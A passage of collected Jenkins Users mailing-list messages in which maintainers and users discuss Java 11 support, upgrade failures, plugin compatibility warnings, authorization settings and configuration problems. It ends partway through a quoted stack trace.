You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/FB5C5087-FB3F-436D-8B30-946BCEB9CBDD%40beckweb.net.

Re: Java 11 is the recommended version to run Jenkins on

[Burns, Daniel]

Somewhere it states that not all plug-ins support Java 11 also.

Daniel R. Burns |Lead Cloud Platform Engineer – Platform Services |[A picture 
containing clock  Description automatically generated] | CFB #2273| Phone: 
214-812-2277|Mobile: 
469-298-8917|Email: 
daniel.bu...@vistracorp.com<mailto:daniel.bu...@vistracorp.com>

Please direct all issues and requests to 
ServiceNow<https://vistra.service-now.com/sp?id=vistra_index>.

From:  on behalf of Mark Waite 

Reply-To: "jenkinsci-users@googlegroups.com" 
Date: Wednesday, November 3, 2021 at 9:38 AM
To: Jenkins Users 
Subject: Re: Java 11 is the recommended version to run Jenkins on

EXTERNAL EMAIL

Jenkins continues to support Java 8.  We recommend Java 11.

See https://www.jenkins.io/blog/2021/08/17/docker-images-use-jdk-11-by-default/ 
for more details on the rationale for that transition.
On Wednesday, November 3, 2021 at 8:24:47 AM UTC-6 s.p...@gmail.com wrote:
After I upgraded Jenkins to 2.303.2, I'm seeing an alert as below. J. I think 
Java 11 is OpenJDK and we are using java 1.8.0_301. Is Java 1.8 no longer 
supported ? Any inputs are really appreciated. TIA

"Java11 is the recommended version to run Jenkins on; please consider 
upgrading."



--
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to 
jenkinsci-users+unsubscr...@googlegroups.com<mailto:jenkinsci-users+unsubscr...@googlegroups.com>.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/30b4e059-f436-4645-9777-3289efd4a487n%40googlegroups.com<https://groups.google.com/d/msgid/jenkinsci-users/30b4e059-f436-4645-9777-3289efd4a487n%40googlegroups.com?utm_medium=email_source=footer>.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/39015531-0D66-4440-8E7A-8B9D0968797C%40vistracorp.com.

Re: Resource Root Problem Post Upgrade

['Daniel Beck' via Jenkins Users]

On Tue, Nov 2, 2021 at 2:27 AM Matt Wilson  wrote:

>
> Caused by: java.lang.NullPointerException
> at
> jenkins.security.ResourceDomainConfiguration.checkUrl(ResourceDomainConfiguration.java:174)
> at
> jenkins.security.ResourceDomainConfiguration.doCheckUrl(ResourceDomainConfiguration.java:88)
>

The URL responds with a 404 error message and has no response message (of
course error handling should be better). Would look at reverse proxy or a
nondefault web container as the likely culprit (I just checked ci.jenkins.io
to be sure it's not a general problem, and its resource root URL works as
expected).

Another option might be problems with the instance-identity module I use to
determine URL correctness, but then the actual URLs should work, and only
form validation be broken.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLa4e-36LG6NWwaD70c1FvCqhS8v%2BaVASmAtTe%2BA39ttg%40mail.gmail.com.

Re: Resource Root Problem Post Upgrade

['Daniel Beck' via Jenkins Users]

On Mon, Nov 1, 2021 at 8:11 PM Matt Wilson  wrote:

> Logging ID=5d0d5334--4ac8-a484-7deef5d062fa
>

Check the Jenkins system log for the corresponding error message.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKMT7k5o9ho8gboFWg36UFBv5APyS-AgMw7bRpcoS_VoQ%40mail.gmail.com.

Re: Blue Ocean Status Update

['Daniel Beck' via Jenkins Users]

On Mon, Oct 18, 2021 at 10:43 AM Oleg Nenashev 
wrote:

>
>- Remove Blue Ocean from the list of recommended plugins in Jenkins
>
>
It never was in the setup wizard, just on jenkins.io docs and such.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJiqjmEauGWWHzZVH87m3fjCgeOLRni%3DBtF980JanxwRA%40mail.gmail.com.

Re: Help! I am trying to upgrade from 2.263.1 to 2.303.1

[Burns, Daniel]

Great, i didn't think there should be an issue, currently we are using RHEL 6, 
I believe.

Sent from my Sprint Samsung Galaxy Note10+.
Get Outlook for Android<https://aka.ms/ghei36>

From: jenkinsci-users@googlegroups.com  on 
behalf of Mark Waite 
Sent: Tuesday, October 5, 2021 4:49:56 PM
To: Jenkins Users 
Subject: Re: Help! I am trying to upgrade from 2.263.1 to 2.303.1


EXTERNAL EMAIL



I use Amazon Linux 2 for agents with no issue. I've never heard of a problem 
that was specific to Amazon Linux 2.

On Tue, Oct 5, 2021, 3:23 PM Iván Fernández Calvo 
mailto:kuisathave...@gmail.com>> wrote:
I do not think so the issue seems related to the upgrade not the OS.

El 5 oct 2021, a las 21:09, Daniel Burns 
mailto:daniel.bu...@vistracorp.com>> escribió:

Thank you.  I wanted to at least respond.  This is in DEV so I can definitely 
try different things.  Using what you stated, I can mimic PROD and create a new 
DEV server with a fresh OS.  I assume there are no issues with using AWS Amazon 
Linux 2, instead of RHEL Linux?

Thank you.

On Sunday, October 3, 2021 at 6:13:09 AM UTC-5 
kuisat...@gmail.com<mailto:kuisat...@gmail.com> wrote:
It is not clear what it is the current issue you want to resolve, so my 
suggestion is to start again the first case you expose.

>On my first try, I thought I had upgraded, but I did not realize that the 
>version of WAR file was the same (2.263.1) I upgraded the plugins, then 
>realized that it had not been upgraded to 2.303.1, so then I put the new WAR 
>file in place.  I was able to log in just fine, but one of the most important 
>pipelines I have did not work.  I makes a call out to Gitlab and I update 
>Gitlab at the same time.

Before upgrading the production environment try to upgrade the same system but 
in another machine:

* In a new machine
* Copy the JENKINS_HOME folder to the new server in the same place
* Remove the folder JENKINS_HOME/nodes/* (we do not want to use the production 
Agents)
* Start Jenkins in the new machine
* Upgrade the plugins
* Stop Jenkins
* Update the war
* Start Jenkins
* Create a new Agent that fit the requirements of your important pipeline
* Test the pipeline

At this point you'd have the same issue you face at the beginning, to try to 
troubleshoot it you need to check
* Check the Jenkins logs from the start to the execution of the pipeline, we 
are looking for exceptions
* Check the console log of the pipeline to see which error is causing the 
pipeline to not work
* check the logs of the Agent in case we are error there
* Check the manage Jenkins and check there is no warning or error at the top of 
the page

If you provide the exceptions you found we could help you to point to a 
specific fix.
My guess is that you have a problem with a plugin version, it could be that it 
conflicts with another,
or your pipeline needs a specific version of a plugin.

El viernes, 1 de octubre de 2021 a las 19:51:26 UTC+2, daniel...@vistracorp.com 
escribió:
I put a new WAR in place and restart and normally, no issues at all.

I have RedHat 6 running on an AWS EC2.

On my first try, I thought I had upgraded, but I did not realize that the 
version of WAR file was the same (2.263.1) I upgraded the plugins, then 
realized that it had not been upgraded to 2.303.1, so then I put the new WAR 
file in place.  I was able to log in just fine, but one of the most important 
pipelines I have did not work.  I makes a call out to Gitlab and I update 
Gitlab at the same time.

I went backwards to snapshots I made of the two servers before I upgraded.  
Validated that the pipeline works, then upgraded Gitlab fully tested and the 
pipeline worked.  So I narrowed the issue to Jenkins.  I tried the upgrade 
again, without updating the plugins first.  This time, I got an error on login 
page, If I clicked on Login, it gives me a prompt to put my ID and password, 
upon hitting enter it gives me a 403 crumb error.  We use A/D to validate 
credentials.

I have tried several times, even trying to go down to the LTS right after the 
2.263 release same issue.  At this point I am assuming I have a plugin problem.

I tried to look at the log and even created the logging.properties file but I 
don't see anything glaringly obvious there either.

Can someone assist, suggest something?

Thank you
Daniel

--
You received this message because you are subscribed to a topic in the Google 
Groups "Jenkins Users" group.
To unsubscribe from this topic, visit 
https://groups.google.com/d/topic/jenkinsci-users/apYDcjRLRCk/unsubscribe.
To unsubscribe from this group and all its topics, send an email to 
jenkinsci-users+unsubscr...@googlegroups.com<mailto:jenkinsci-users+unsubscr...@googlegroups.com>.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/27ac518f-d42d-4104-b68c-3c05ca1db282n%40googlegroups.com<https://groups.google.com/d/msgid/jenkinsci-u

Re: Help! I am trying to upgrade from 2.263.1 to 2.303.1

[Daniel Burns]

Thank you.  I wanted to at least respond.  This is in DEV so I can 
definitely try different things.  Using what you stated, I can mimic PROD 
and create a new DEV server with a fresh OS.  I assume there are no issues 
with using AWS Amazon Linux 2, instead of RHEL Linux?

Thank you.

On Sunday, October 3, 2021 at 6:13:09 AM UTC-5 kuisat...@gmail.com wrote:

> It is not clear what it is the current issue you want to resolve, so my 
> suggestion is to start again the first case you expose.
>
> >On my first try, I thought I had upgraded, but I did not realize that the 
> version of WAR file was the same (2.263.1) I upgraded the plugins, then 
> realized that it had not been upgraded to 2.303.1, so then I put the new 
> WAR file in place.  I was able to log in just fine, but one of the most 
> important pipelines I have did not work.  I makes a call out to Gitlab and 
> I update Gitlab at the same time.
>
> Before upgrading the production environment try to upgrade the same system 
> but in another machine:
>
> * In a new machine
> * Copy the JENKINS_HOME folder to the new server in the same place
> * Remove the folder JENKINS_HOME/nodes/* (we do not want to use the 
> production Agents)
> * Start Jenkins in the new machine 
> * Upgrade the plugins
> * Stop Jenkins
> * Update the war
> * Start Jenkins
> * Create a new Agent that fit the requirements of your important pipeline
> * Test the pipeline
>
> At this point you'd have the same issue you face at the beginning, to try 
> to troubleshoot it you need to check
> * Check the Jenkins logs from the start to the execution of the pipeline, 
> we are looking for exceptions 
> * Check the console log of the pipeline to see which error is causing the 
> pipeline to not work
> * check the logs of the Agent in case we are error there
> * Check the manage Jenkins and check there is no warning or error at the 
> top of the page
>
> If you provide the exceptions you found we could help you to point to a 
> specific fix. 
> My guess is that you have a problem with a plugin version, it could be 
> that it conflicts with another, 
> or your pipeline needs a specific version of a plugin.
>
> El viernes, 1 de octubre de 2021 a las 19:51:26 UTC+2, 
> daniel...@vistracorp.com escribió:
>
>> I put a new WAR in place and restart and normally, no issues at all.
>>
>> I have RedHat 6 running on an AWS EC2.  
>>
>> On my first try, I thought I had upgraded, but I did not realize that the 
>> version of WAR file was the same (2.263.1) I upgraded the plugins, then 
>> realized that it had not been upgraded to 2.303.1, so then I put the new 
>> WAR file in place.  I was able to log in just fine, but one of the most 
>> important pipelines I have did not work.  I makes a call out to Gitlab and 
>> I update Gitlab at the same time.
>>
>> I went backwards to snapshots I made of the two servers before I 
>> upgraded.  Validated that the pipeline works, then upgraded Gitlab fully 
>> tested and the pipeline worked.  So I narrowed the issue to Jenkins.  I 
>> tried the upgrade again, without updating the plugins first.  This time, I 
>> got an error on login page, If I clicked on Login, it gives me a prompt to 
>> put my ID and password, upon hitting enter it gives me a 403 crumb error.  
>> We use A/D to validate credentials.
>>
>> I have tried several times, even trying to go down to the LTS right after 
>> the 2.263 release same issue.  At this point I am assuming I have a plugin 
>> problem.
>>
>> I tried to look at the log and even created the logging.properties file 
>> but I don't see anything glaringly obvious there either.
>>
>> Can someone assist, suggest something?
>>
>> Thank you
>> Daniel 
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/27ac518f-d42d-4104-b68c-3c05ca1db282n%40googlegroups.com.

Help! I am trying to upgrade from 2.263.1 to 2.303.1

[Daniel Burns]

I put a new WAR in place and restart and normally, no issues at all.

I have RedHat 6 running on an AWS EC2.  

On my first try, I thought I had upgraded, but I did not realize that the 
version of WAR file was the same (2.263.1) I upgraded the plugins, then 
realized that it had not been upgraded to 2.303.1, so then I put the new 
WAR file in place.  I was able to log in just fine, but one of the most 
important pipelines I have did not work.  I makes a call out to Gitlab and 
I update Gitlab at the same time.

I went backwards to snapshots I made of the two servers before I upgraded.  
Validated that the pipeline works, then upgraded Gitlab fully tested and 
the pipeline worked.  So I narrowed the issue to Jenkins.  I tried the 
upgrade again, without updating the plugins first.  This time, I got an 
error on login page, If I clicked on Login, it gives me a prompt to put my 
ID and password, upon hitting enter it gives me a 403 crumb error.  We use 
A/D to validate credentials.

I have tried several times, even trying to go down to the LTS right after 
the 2.263 release same issue.  At this point I am assuming I have a plugin 
problem.

I tried to look at the log and even created the logging.properties file but 
I don't see anything glaringly obvious there either.

Can someone assist, suggest something?

Thank you
Daniel 

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/1f2c0b7c-5206-48f6-80f3-ffb5a4b3d0c1n%40googlegroups.com.

Re: Breaking change in the 'Pipeline: Nodes and Processes'-plugin

[Daniel Beck]

On Tue, Sep 28, 2021 at 9:20 AM 'Hildebrand Soethoudt' via Jenkins Users <
jenkinsci-users@googlegroups.com> wrote:

> Since of this week I see a big red warning infobox next to the latest
> update of the 'Pipeline: Nodes and Processes'-plugin (Git repo
> workflow-durable-task-step-plugin).
>
> The box warns about the new version (2.40) being incompatible with the
> installed version (2.39). Documentation or changelog does not give a hint
> of what the breaking change exactly is.
>

It's for
https://github.com/jenkinsci/workflow-durable-task-step-plugin/pull/168

If you never look at the NODE_NAME environment variable in your build
scripts, you can just ignore this. If your build scripts' behavior changes
based on this variable's value, you should adapt them to handle the new
value.

Unfortunately we don't have a great way to indicate something like this
other than the generic "something's incompatible" message, and the
maintainers didn't highlight the change in the changelog. I updated the
changelog message to be more explicit about this.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJrXr0cYbqnZZPxBzvtLRRbFSiJf80g%2B_jLWcGxa5Ccjg%40mail.gmail.com.

Re: Any way to construct a url to a particular file in the jenkins workspace?

[Daniel Beck]

On Mon, Sep 13, 2021 at 5:49 PM Jerome Godbout <
jerome.godbout.amo...@gmail.com> wrote:

> Humm, that would be hard and security unwise. The executing node path
> aren't available to the web.


They are in the case of workspace files (to users with appropriate
permissions).

I think the problem is that it's difficult to obtain the pipeline node ID
for the `node` step allocating the workspace.

Between the BUILD_URL and WORKSPACE (the prefix of the path to remove), the
rest should be known.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJA9oFnKzO08NewVqzQcMfytW9p7AzXJvuXAJjG3QrjxA%40mail.gmail.com.

Re: setting Mailer authentication

[Daniel Beck]

See
https://javadoc.jenkins.io/plugin/mailer/hudson/tasks/Mailer.DescriptorImpl.html#setAuthentication-hudson.tasks.SMTPAuthentication-

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKTyiWKJx1ZmK5Yg5bYQiWPYftPTzMvOGiG%3DBttCWr1kw%40mail.gmail.com.

Re: SAML plugin 2.0.8

[Daniel Beck]

On Tue, Aug 31, 2021 at 5:29 PM Alan Sparks 
wrote:

> I went to upgrade this, and the after-installed one shows the same
> security notice in my Jenkins 2.289.3 master.  The GitHub Releases shows
> 2.0.7 as the current.  Was the 2.0.8 release pulled back?
>
> -Alan
>

The release has not been pulled. Two separate issues here:

- Release drafter / GH releases do not play well with how we prepare and
publish security updates. A maintainer will need to manually create the
release on GH.
- I published wrong security warnings at first and fixed them ~15 minutes
ago. If 2.0.8 is installed, they should disappear once you refresh
update center metadata.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJoYTEH0_dYLo8wO_FG0vWkCu5nEyOd7-i2eGJrLKgE-w%40mail.gmail.com.

Re: Access rights to end test processes

[Daniel Beck]

On Thu, Jul 29, 2021 at 2:13 PM 'christop...@googlemail.com' via Jenkins
Users  wrote:

> Somewhat surprising though and hard to debug as you cant display the
> current user name (replaced in the output by '***').
>

My guess: A credential is in scope with the same username, and you're on an
older version of credentials-binding plugin or haven't disabled treating
that credential's username as secret.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtKCKsTBbUYi8oSoWkmzb2BO9V2MuV_6fGRJYxAYnbjwWg%40mail.gmail.com.

Re: "SSH server" plugin - why?

[Daniel Beck]

The SSH server feature used to be part of core (well, a module, but part of
the war) and has been moved into a plugin recently. So, functionality wise,
nothing changed for you, it's just that now it's visible (and can be
disabled).

Features are sometimes detached (or split off) from Jenkins core and moved
into a plugin. Many plugins, like Subversion or JUnit, started as features
of Jenkins core.

Plugins that depend on a Jenkins core version before such a plugin was
detached from core may or may not actually use any of its features. To
ensure that plugins don't break whenever functionality they depend on is
detached from Jenkins core, it is considered to have a dependency on the
detached plugin if it declares a dependency on a version of Jenkins core
before the split. Since that dependency to the detached plugin is not
explicitly specified, it is *implied*.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BMQhvfrmG-Caw__bre%2BzBevDwNkNf%2B23mvevcOUBrUyQ%40mail.gmail.com.

Re: update 2.289.2 ldap not working

[Daniel Beck]

On Wed, Jul 7, 2021 at 3:13 PM vla...@gmail.com  wrote:

> the config.xml with my old ldap configuration is coming back at each
> restart => what is this mechanism? thanks in advance


That's not built in.

Check for the presence of Groovy hook directories:
https://www.jenkins.io/doc/book/managing/groovy-hook-scripts/
If you're using https://plugins.jenkins.io/configuration-as-code/ check its
configuration.
There may also be mechanisms external to Jenkins that restore a specific
configuration.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtK9yWxXp1KqpuJ5N3JQxwfRSuYOTJHyEURMQqG%3DcprJJA%40mail.gmail.com.

Re: Jenkins 2.204.6 Error updating plugins

[Daniel Beck]

On Fri, Jul 2, 2021 at 1:52 AM Mark Waite  wrote:

>
> I believe that means Jenkins 2.204.6 plugin updates are no longer
> available from the Jenkins update center.
>

That just means that if a plugin requires a newer core, we'll not advertise
older plugin releases compatible with this older core. Downloads should
still work, loading plugins would fail.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2BuGFXWvJY%3Dv4rns7rGaQSg07n3OZ4iVfM0gsW%3DhAJFCg%40mail.gmail.com.

Re: Jenkins 2.204.6 Error updating plugins

[Daniel Beck]

On Fri, Jul 2, 2021 at 1:42 AM Alex DeMarco  wrote:

> We have not updated plugins in a while.   No matter what plugin I try to
> update I get the following error:
> java.io.IOException: Download file
> :/.jenkins/plugins/script-security.jpi.tmp does not match expected
> SHA-256, expected 'a long string of text;, actual 'a different long string
> of text'
>

That usually happens when your network setup interferes and you get a proxy
error page or something like that, instead of real file downloads.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtJExMJr8xYseOVYx%2By6NmBsysVXZYXKDjo-jjuD-R2R3w%40mail.gmail.com.

Re: Out-of-date version(YUI)

[Daniel Beck]

> On 30. May 2021, at 03:05, s.p...@gmail.com  wrote:
> 
> Affected versions of the package are vulnerable to Cross-site Scripting(XSS) 
> via .swf files, allowing arbitary code injection into hosting server 
> CVE-2012-5881 CVE-2012-5883
> 

While we include YUI, we do not include the vulnerable file.

Your scanner is trash.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/352C70D7-C6E1-4509-A543-ED44803A15D6%40beckweb.net.

Re: Email extender notification no longer resolve variables in the notification

[Daniel Stubkjær]

Hi Mark,

Thanks for the reply,
it fix the problem.

normal i would upgrade the plugins as a first thing, but this time a 
external it supporter  upgrade the server
and that also upgraded the jenkins instance on that machine, so it was an 
unintentionel upgrade. :-)

many thanks for you help


onsdag den 24. marts 2021 kl. 17.58.10 UTC+1 skrev Mark Waite:

> We've seen reports of that type of problem.  See 
> https://issues.jenkins.io/browse/JENKINS-64659 for an example.
>
> The solution has been to follow the instructions in the Jenkins 2.277.1 
> upgrade guide <https://www.jenkins.io/doc/upgrade-guide/2.277/> that 
> advise
>
>- Update plugins before the Jenkins 2.277.1 upgrade
>- Upgrade to Jenkins 2.277.1
>- Update plugins after the Jenkins 2.277.1 upgrade
>
> In this specific case, the latest version of the token-macro plugin has 
> been the solution.
>
> Mark Waite
>
> On Wed, Mar 24, 2021 at 9:18 AM Daniel Stubkjær  
> wrote:
>
>> Hello everyone,
>>
>> last week we upgrade jenkins from 2.263.4 to 2.777.1, 
>> now we have a problem with email extender plugin(v. 2.80) that is not 
>> resolving the variabels in the email notification. instead it comes trough 
>> as below
>>
>> [image: email notification jenkins.png]
>> besides the upgrade, nothing has been changes in the install, and the job 
>> sending the notification still works as before, only problem is the 
>> unresolved variables.
>>
>> has anybody run in to a similar problem or has an idea of where to look 
>> for solution
>>
>>   
>>
>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to jenkinsci-use...@googlegroups.com.
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/9ce0559c-d7d9-4247-8847-9e5d1546f29an%40googlegroups.com
>>  
>> <https://groups.google.com/d/msgid/jenkinsci-users/9ce0559c-d7d9-4247-8847-9e5d1546f29an%40googlegroups.com?utm_medium=email_source=footer>
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/bf62f05a-c482-45f6-9e76-20092215568dn%40googlegroups.com.

Email extender notification no longer resolve variables in the notification

[Daniel Stubkjær]

Hello everyone,

last week we upgrade jenkins from 2.263.4 to 2.777.1, 
now we have a problem with email extender plugin(v. 2.80) that is not 
resolving the variabels in the email notification. instead it comes trough 
as below

[image: email notification jenkins.png]
besides the upgrade, nothing has been changes in the install, and the job 
sending the notification still works as before, only problem is the 
unresolved variables.

has anybody run in to a similar problem or has an idea of where to look for 
solution

  

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/9ce0559c-d7d9-4247-8847-9e5d1546f29an%40googlegroups.com.

Re: RBAC so that users can create projects but not touch other Projects?

[Daniel Beck]

On Fri, Jan 29, 2021 at 8:08 PM Rue, Randy  wrote:

>
> Is this possible? So far even in Project-Based Matrix Authorization I
> haven't been able to make it work.
>

It should just work there, one of the many issues I fixed in matrix-auth
2.0 back in 2017.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7PtLr_D-2f-X_kPMZwiYRwYQmnRecF4rAgabVYtekWOME7Q%40mail.gmail.com.

Re: JDK8 or JDK11 to be used for Jenkins ?

[Daniel Beck]

> On 25. Jan 2021, at 13:37, mj1414...@gmail.com  wrote:
> 
> WARNING: Illegal reflective access by 
> com.thoughtworks.xstream.core.util.Fields 
> (file:/var/fpwork/ltedlphy/jenkinsCurrent/home/war/WEB-INF/lib/xstream-1.4.7-jenkins-1.jar)
>  to field java.util.TreeMap.comparator

At most you're on the current LTS release. Weekly releases have already been 
updated beyond this version of X-Stream, see 
https://www.jenkins.io/blog/2020/11/10/spring-xstream/ 

They may no longer show this warning, or at least not as often. 
https://github.com/x-stream/xstream/issues/101 seems to track it in general 
upstream.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/FFB43344-2054-41B8-94B9-2B74DDA4FBF1%40beckweb.net.

Re: Default Admin API Token

[Daniel Beck]

> On 1. Dec 2020, at 11:40, Shahbaz Subedar  wrote:
> 
> -Djenkins.install.runSetupWizard="false"
> 
> -Djenkins.install.SetupWizard.ADMIN_INITIAL_API_TOKEN=11b9b3fafe25923768621ca1b64d44bfd1
> 

You're disabling the setup wizard, and then set an option that is

> only used before/during the Setup Wizard


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/760455B1-FE07-470F-BC54-3A63CAF45671%40beckweb.net.

Re: Jenkins unable to read config.xml: hudson.security.GlobalMatrixAuthorizationStrategy hudson.security.LDAPSecurityRealm

[Daniel Beck]

You're using https://plugins.jenkins.io/role-strategy/ and that plugin is
not installed, disabled, or unloadable. Check the log to find out which,
then address the problem.

On Mon, Dec 7, 2020 at 8:40 AM Adrian Wyssmann  wrote:

> Hi all
>
> Today we are suddenly facing issues with ldap plugin
>
> com.thoughtworks.xstream.mapper.CannotResolveClassException:
> com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
> at
> com.thoughtworks.xstream.mapper.DefaultMapper.realClass(DefaultMapper.java:79)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.DynamicProxyMapper.realClass(DynamicProxyMapper.java:55)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java:88)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.ClassAliasingMapper.realClass(ClassAliasingMapper.java:79)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:71)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at hudson.util.XStream2$CompatibilityMapper.realClass(XStream2.java:379) at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at hudson.util.xstream.MapperDelegate.realClass(MapperDelegate.java:43) at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
> at
